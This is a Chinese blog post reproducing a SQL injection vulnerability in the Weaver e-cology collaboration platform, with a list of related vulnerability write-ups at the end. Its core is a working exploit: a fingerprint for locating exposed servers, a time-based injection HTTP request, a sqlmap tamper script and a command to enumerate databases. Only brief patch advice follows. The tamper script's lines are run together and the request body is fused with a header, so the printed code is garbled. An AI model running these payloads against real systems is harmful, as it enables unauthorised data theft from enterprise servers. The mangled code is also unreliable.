泛微E-Cology SQL注入漏洞复现（QVD-2023-15672）

2024-06-01 10:54:39

0x01 产品简介

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。

0x02 漏洞概述

由于泛微e-cology未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限等。

0x03 影响范围

Ecology 9.x 补丁版本 < 10.58.0

Ecology 8.x 补丁版本 < 10.58.0

0x04 复现环境

鹰图指纹：

web.icon="41eca7a9245394106a09b2534d8030df"

0x05 漏洞复现

PoC

GET /weaver/weaver.file.FileDownloadForOutDoc/?fileid=123+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1 HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

PS：fileid字段为注入点，post和get都可以，经测试，每注入一次，fileid的值（可随意构造）就需要更换一次，不然无法成功（可自行尝试），这也是漏洞比较鸡肋的点。

SQLmap利用思路

编写一个每次请求遍历随机数去配合payload实现注入的tamper脚本

import os,re,random
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMSpriority = PRIORITY.HIGHESTdef tamper(payload, **kwargs):result = ""num = random.randint(1,2**27)result = str(num)+payloadreturn result

把数据包放txt里面

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closefileid=12*&isFromOutImg=1

尝试注入：

python3 sqlmap.py -r post.txt --tamper=ecology_sql_random.py --batch --dbs

效果：

0x06 修复建议

临时缓解方案

限制访问来源地址，如非必要，不要将系统开放在互联网上。

升级修复方案

目前官方已发布安全补丁，建议受影响用户尽快升级至10.58及以上版本。

https://www.weaver.com.cn/cs/securityDownload.asp#

泛微E-Cology SQL注入漏洞复现（QVD-2023-15672）相关推荐

【漏洞报送】泛微E-Office存在SQL注入漏洞（CNVD-2022-43246）
0x01 泛微E-Office 泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用.高效智能的原则,为企业快速 ...
泛微OA V8 SQL注入漏洞和文件上传漏洞
fofa语句 app="泛微-协同办公OA" SQL注入在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中 ...
kkcms前台sql注入漏洞复现
kkcms前台sql注入漏洞复现目录安装kkcms 漏洞复现安装kkcms 下载kkcms地址: https://github.com/https://github.com/ 浏览器访问主机ip ...
espcms5.7.13 sql注入漏洞复现
espcms5.7.13 sql注入漏洞复现作者: admin 时间: 2021-06-28 分类: 漏洞复现使用代码审计工具自动审计,找到select语句,双击进入/adminsoft/cont ...
通达OA 11.5 SQL注入漏洞复现
0x00 漏洞描述通达OA 11.5存在sql注入 0x01 漏洞影响版本通达oa 11.5 0x02 漏洞复现 1.下载通达OA 11.5 https://cdndown.tongda2000. ...
泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现
漏洞描述泛微e-cology OA系统的WorkflowCenterTreeData接口在使用oracle数据库时,由于内置sql语句拼接不严,导致其存在sql注入漏洞影响范围使用oracle数 ...
【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)
文章目录前言声明一.产品介绍二.漏洞描述三.影响范围四.漏洞分析五.漏洞复现六.SQLMAP漏洞利用七.修复方案前言泛微E-Cology v9 Browser.jsp 存在SQL ...
泛微e-cology9 SQL注入漏洞复现(QVD-2023-5012)
1.产品简介泛微协同管理应用平台e-cology是一套兼具企业信息门户.知识文档管理.工作流程管理.人力资源管理.客户关系管理.项目管理.财务管理.资产管理.供应链管理.数据中心功能的企业大型协同管 ...
宏景eHR SQL注入漏洞复现（CNVD-2023-08743）
0x01 产品简介宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合,满足动态化.协同化.流程化.战略化需求的软件. 0x02 漏洞概述宏景eHR 存在SQL注入漏洞,未经过身份认证的 ...

最新文章

热门文章